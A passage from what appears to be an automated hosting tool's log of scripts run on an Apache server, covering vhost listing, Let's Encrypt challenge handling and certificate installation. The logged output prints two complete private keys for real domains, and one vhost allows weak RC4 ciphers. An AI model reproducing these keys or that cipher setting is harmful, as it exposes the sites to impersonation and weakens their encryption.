echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf= 1'
fi
2025-10-07 06:00:28:
chmod 755 /tmp/pkp953525; /tmp/pkp953525; rm /tmp/pkp953525
2025-10-07 06:00:28:
2025-10-07 06:00:28:
PUT: /tmp/pkp870064
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-07 06:00:29:
chmod 755 /tmp/pkp870064; /tmp/pkp870064; rm /tmp/pkp870064
2025-10-07 06:00:29:
.
2025-10-07 06:00:29: Establishing a connection
2025-10-07 06:00:31:
PUT: /tmp/pkp258130
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-07 06:00:32:
chmod 755 /tmp/pkp258130; /tmp/pkp258130; rm /tmp/pkp258130
2025-10-07 06:00:32:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
alias www.n-e-v.info
port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443 is a NameVirtualHost
default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
alias www.n-e-v.info
port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-07 06:00:32:
PUT: /tmp/pkp738252
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_mercury_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-07 06:00:32:
chmod 755 /tmp/pkp738252; /tmp/pkp738252; rm /tmp/pkp738252
2025-10-07 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 1579
<VirtualHost *:80>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/mercury_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mercury/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/mercury_secure_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-07 06:00:33:
PUT: /tmp/pkp233927
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-07 06:00:33:
chmod 755 /tmp/pkp233927; /tmp/pkp233927; rm /tmp/pkp233927
2025-10-07 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5352
4e:bc:91:0a:52:75:63:77:87:fc:be:59:2c:b5:07:85
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBSPcS0zkoQnhjbWae6vmy/4/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMTQ5WhcNMjYwMTA1MDUwMTQ4WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALKvMsDL/lNCnOv5Fb6K4NNsLVrvsFXtwh3aDhOTy8xcUjPFfF6rj/T3JZ7E
tDyAvI0A/7Pqbm5FF0xLCh2x+WKU3gMVQ/XEZdAjveA6bqaVPhrIKebgKUke5JKe
Nfvh8RUMt/FwrXz4CEA8gHT2fxuLmX/wx8go7PRSXhxP3sieW3ydG10rf4H1MISz
KrI8gt2ptNuwc6b/5JidcpDe72aJy1XxVreXhLVUpVIjSDmmGYJHbnYUNQMNo5pJ
S46I9CqHoahglYGYYSozF61zj8WEaHSycKkmPLnCS1x6sUHa1yR1+Taa8c9WhBFY
tiuPSx3XO+QPnUCclHPIMl2/NYcCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUUQNj6cP9llQmAF8UAg4In9TNRIUwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzY0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmb1BpSMAAAQDAEYw
RAIgDn7Z58nabjJr7guxDNyWqOc0JNG/6M8uSX1qrD9A1bACIDwpASBveo5hjMQ0
YlRuoTYxerL6RZmTFSb5C7fnCDA2AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkF
hbDLFMMUWOcAAAGZvUGtBgAABAMARzBFAiEAqHUJbzZIzmbOtH1WMwMUVaZW50NY
UnngdssflTZdvzECIGeeB5+MXNdNsuWrukzjXclDdgOt9CG7PLG21xRCrzSUMA0G
CSqGSIb3DQEBCwUAA4IBAQBY0kCQ5GhFMAG0m+ErFBwDPwX2RpggRZNg+BYtVqJX
lf00MQE5PHV4JUDhquViVROBBO6NSg/uj+T/F2Nf8iQL1Ua5oNhzqufgA/Z9FPU2
/Pgm4BseFLBw+mPRNEgYTeEaKnIf9e5lBf9n04YmJfomCB2zG/eMK59B4hpCpnVq
aqCPrajG32d4LVy0SGq1y215eQN0N3EKTbPBF2bLU2sJ9HCU5wuDYIL/aO8DVnk9
U0MkylxsLVjI0WM1AHukCJFedi/0fyqUL5c9FFBb3c32L+WScuXnRqKnLkt5C6c+
JUK6WLpVBb47dCX28+1plfMMI2eo0HNDDeOF2p9UP6JB
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyrzLAy/5TQpzr
+RW+iuDTbC1a77BV7cId2g4Tk8vMXFIzxXxeq4/09yWexLQ8gLyNAP+z6m5uRRdM
SwodsflilN4DFUP1xGXQI73gOm6mlT4ayCnm4ClJHuSSnjX74fEVDLfxcK18+AhA
PIB09n8bi5l/8MfIKOz0Ul4cT97Inlt8nRtdK3+B9TCEsyqyPILdqbTbsHOm/+SY
nXKQ3u9mictV8Va3l4S1VKVSI0g5phmCR252FDUDDaOaSUuOiPQqh6GoYJWBmGEq
Mxetc4/FhGh0snCpJjy5wktcerFB2tckdfk2mvHPVoQRWLYrj0sd1zvkD51AnJRz
yDJdvzWHAgMBAAECggEBAIAjb8we/jWLMalvqQ5J3c0AaM4r0VLt/CUYOLwFY0Mc
eb6ywuvJMKVFj276NR6mW5DqxHSri6H8XibSMWD2PpdZlpSzbVcUDsdiuknQ3YUM
xcrC/HmbC0BqrRQP7TrC3vZvdoHogiF6ZcBbIuu90Y1ZYS0E6OA7qSHU57R5+pP2
+LYU4W7tcMd0sRO5EDhFllkBSw58HseOPKVWChjZ+EDynDqirNpFLkyzU02ieiZ5
anKs0oGos6n+M0lNoXy1YdauVx9px2guZD/BYqsd/DFH72HxOiAVVg5nKwTxvyzy
t1y7Qd0Jm/rVG7JUBtUIA9kvZEjZX/pxKKVlpPbwnpECgYEA5Wm24+KU8tJA3l9Y
3L5HfXiRdJBsLUVErXaaa9C//CYMZ+Fm3E+Pi/tywb16HBpQQ+0HHtmscEBPiMwK
fnTTdSsJEgCZZ+7DzhegXXOZA5kimBSOYL7m/L0IzyStRSJwZWfzGZxJjqEYVl/f
oy5E64kLObqqY1GGSt7MLlyvNe0CgYEAx2R0YE+YZGq8oVJjW5iRVjyU49ZP9ReG
tG2RxkvWTW2Y9Hs5l6beNiL9kiGe21k3yI2eUgmnzsTCPMxB8fxmLyert9sbJScT
/1vhpFC0t1b3YtYTrVaXdWQzZKR/2E7cMAxOlup38mnhzgCyOqYk52Fb9G8Qnk1W
IbeuNUkpasMCgYEA4RxerjbD2ZGevZXp6JF+LQyGDk85FyMFRQFAfdMU0CO1wKlY
+Y3IWZ+e96UpkTHw2PZZKliF8I/qe11cXsHcTPixqcyUu3t6/1wHrCumVfWKEJj7
LMumdRI49qoSq+gjSh46WUMWmrJQ41CobcMVNdn//eHBGDwC/qyoxkWEV/ECgYAL
9beRS1TtuQVFe+afyN/21z1rCSDUp6uZyPS0ezoIfOluyLFkqkqr3p9tE30u1QQm
kHANpayeF2k7MllGRYhvjaacKZVQPi7R41X+gCTG1n2SPRsDC62cCf2XLNLKS7ij
XSmdncTCEp3LuHj4UZznEAzu9XZ+uE7RSO43HgNQ9wKBgB3C5FBCygrxFCjASaY+
xbJLlKRJgDG6Gnm7T1yxZ7RvJV1gUEIH9MEsWzmubAvsAjwQIsItiC4IlpUpC1fQ
DmqRz3VuDiTrXV4/pFv4f1ea2dK7rkB0GzC6fBwuvmYTsakyKXKgRhadecGXol+9
C8WeyZiK4gBcbwezd2Ak0uxW
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-07 06:00:34: Establishing a connection
2025-10-07 06:00:34: Establishing a connection
2025-10-07 06:00:34:
PUT: /tmp/pkp615893
#!/bin/bash
if [ -d "/var/www/christadelphia_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-07 06:00:39:
chmod 755 /tmp/pkp615893; /tmp/pkp615893; rm /tmp/pkp615893
2025-10-07 06:00:39:
1
2025-10-07 06:00:40: Establishing a connection
2025-10-07 06:00:40:
PUT: /tmp/pkp471148
#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
cat > JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ
cat > WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70
2025-10-07 06:00:40:
chmod 755 /tmp/pkp471148; /tmp/pkp471148; rm /tmp/pkp471148
2025-10-07 06:00:40:
2025-10-07 06:00:55: Establishing a connection
2025-10-07 06:00:55:
PUT: /tmp/pkp684102
#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
rm JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ
rm WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70
2025-10-07 06:00:55:
chmod 755 /tmp/pkp684102; /tmp/pkp684102; rm /tmp/pkp684102
2025-10-07 06:00:55:
2025-10-07 06:00:55: Establishing a connection
2025-10-07 06:00:55:
PUT: /tmp/pkp753042
#!/bin/bash
temp_file=$(mktemp)
TARGET=d91b2f0a4f6cfa0542190dabbd9574d1.crt
cat > $temp_file <<'endmsg'
8f:2d:52:2d:b7:af:66:06:87:3d:a7:b5:4d:b5:0d:77
-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBVm6RwOcSBs2Uwz2yOlvx3kVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMjI0WhcNMjYwMTA1MDUwMjIzWjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCuTL/sy0dPNYCfkhrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdSh
IiIgRhDfuptkR7fVhRcj+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWP
ifvDL1OVgdFwcGgFCgkDatSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6W
aj9/HkLeD0P6GhU6cbxEzIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix1
4K+olZlLVPuudO0OWJBqysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576
kzrfrPwenJ/4CCl6ef8OrctPPybpAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFNHsyIBeAY2SSl7WkYlWZXsiJFuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjIuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGZvUIr8gAABAMARzBFAiEA/YOa1PMHFKhyXCNWx6jLE8Jv
rPzlKfPVs/SecvpIyF0CIAVOYFMndKm6aJ70N2xt5jG9PbfB6J/jiPfzfL2TDvtA
AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGZvUIr/wAABAMA
RjBEAiBYlIlVUBOfm2sOk45tdYbXQnZ82HWWIo/xFvDAhMDojgIgJ9t6oDtNcI3a
jHG+son+mnDH8/Iss8b+vY4UEFtHNuAwDQYJKoZIhvcNAQELBQADggEBAHGfKKbc
Izb0MgFalhdgUfmdN+Nd49o/jIFITqUOHqB9xnVYKIFEDDOx0MiZ7n8j1WyEyezw
G0eskKnwBANlP4WMCgMXXK5e4s2QGcqehaBUU3zBIGAyn2tP+LTvyMYVBmldphCG
ZNPG+lVPQA4sWO2ZBTg/oTKVWUTF5wTq6JBp0b3zG55VqMJMVW9/1FTme/g1W6Xv
MATePD8SGWbPt2dNuD+l3IGGaAdyfzjEpwNLXZ45YGoFVjIXYvaPXdvrX+gX9ERq
z4VOaeoy189EdCT/TOhvOlnQuyafmI342YMKLpaL4ZLjlF3H9NCQnObJMtvSOx53
pfZNQ225fTssGt8=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCuTL/sy0dPNYCf
khrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdShIiIgRhDfuptkR7fVhRcj
+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWPifvDL1OVgdFwcGgFCgkD
atSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6Waj9/HkLeD0P6GhU6cbxE
zIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix14K+olZlLVPuudO0OWJBq
ysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576kzrfrPwenJ/4CCl6ef8O
rctPPybpAgMBAAECggEALXW9FQCLz7/vlS7hL2ysMEJxHdJwPBNWaNRpdjJ6nub0
5mc1fhfJGYnfsEsbxXkgy4l7H/OIofr9ZxdL0rPi0j8fMk6xjd0w8MPn8Xd8/IDt
ikD8JnXi9rCyfxaJAIZmcXcTbhUTPEU6xpZlbw8Ay6ugbeggkR+07VIh2vhPE20e
ZjBHXuUfM8ymRQdAEEwygT+eduItLxIypSEYWfzNbNdGrF2ansamB3/9pV4bGMRx
l5vMLw+0MCgbVWjn+G+CaOgS7bDRszVrfygY+84XURYcXmZNryBlr/HZWYO4TW/t
PImJ9CjyMNfzr7TtWUZVnHzxck5qMTDk6UhwsnlGJQKBgQDgxB0z6y9uI3YnoVJT
vBzjcuT6JGL/mLhJM7B/sSSLpSMQWxFXCogbp7T+Z9DO4zHnUV6ulo/wb5Eg6kwU
O5MvnbthXUj962OXZj74HOqc+DEHtTGY1NfQwKlSa1+4rwyy9W38cv6TbKYABrqH
4E26aO0I3fbP/UVxSD6S6ujZPwKBgQDGhVXvlMSJkytJ+52WnCLshjJV1rlYUfOn
Z/q4ONpT/jFWt0RfeICSZCNqw6zlYnrg+c/yBlswbTOt5ufuz+EyRbpf7PrhA08X
1OF0rzVzlkpu6spM6Wv8kUKp/byIVsoW7VWUpdUUYlsQhwPkSJGkAXXuIPlk4J7f
i9rFBreN1wKBgDZXlAvqb8Q8NKPuP/5Yu89OBwhnZbwQS3X/Vkv5IzHUEj8xFWcq
969gA8WCihyLF5Squq6RXmmuP7NqkkxN/w8DHruylyQ1FhYTtWO9cgfThd8sMrqV
szwYaJexuCnpwLM/3YCsuNoh6ZyWA+E4HPLVzYFYUQUGYhS6d86Dlxp3AoGALzff
rNCRvrdGgJ5caUpR9DgnGMut4hf8AEF3HQJIy9mWGq4UkTC0RB2VXvuT0CuQVpqU
n1hrsCUJOb/GQsMnKTH0loRjV8nVsjFsPri92fRRV/h4jbqneLeER7KWeUdLYhCp
XmXjPKn4RwIWJuIr4fqG9lDZgOj8YOd+7YYfepkCgYB0aCJDHPfGXh+fv/6ODtrg
pvaczbAOqRCW3pDgtEF+82LvxG6/YOJZeW+/LyZgC5gRtsQBVB1OeQ/jADO+r1Bj
Gtog6cQ30jljcV0Bz0UobONjNoDdbO/Pj+xDrSJgOdMChwhn4Ke5hQXjqX97Pjdg
o8KzpZeHNN4M/i1TT4vDeQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-07 06:00:55:
chmod 755 /tmp/pkp753042; /tmp/pkp753042; rm /tmp/pkp753042
2025-10-07 06:00:55:
dir=/etc/ssl/certs
2025-10-07 06:00:55:
PUT: /tmp/pkp945650
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
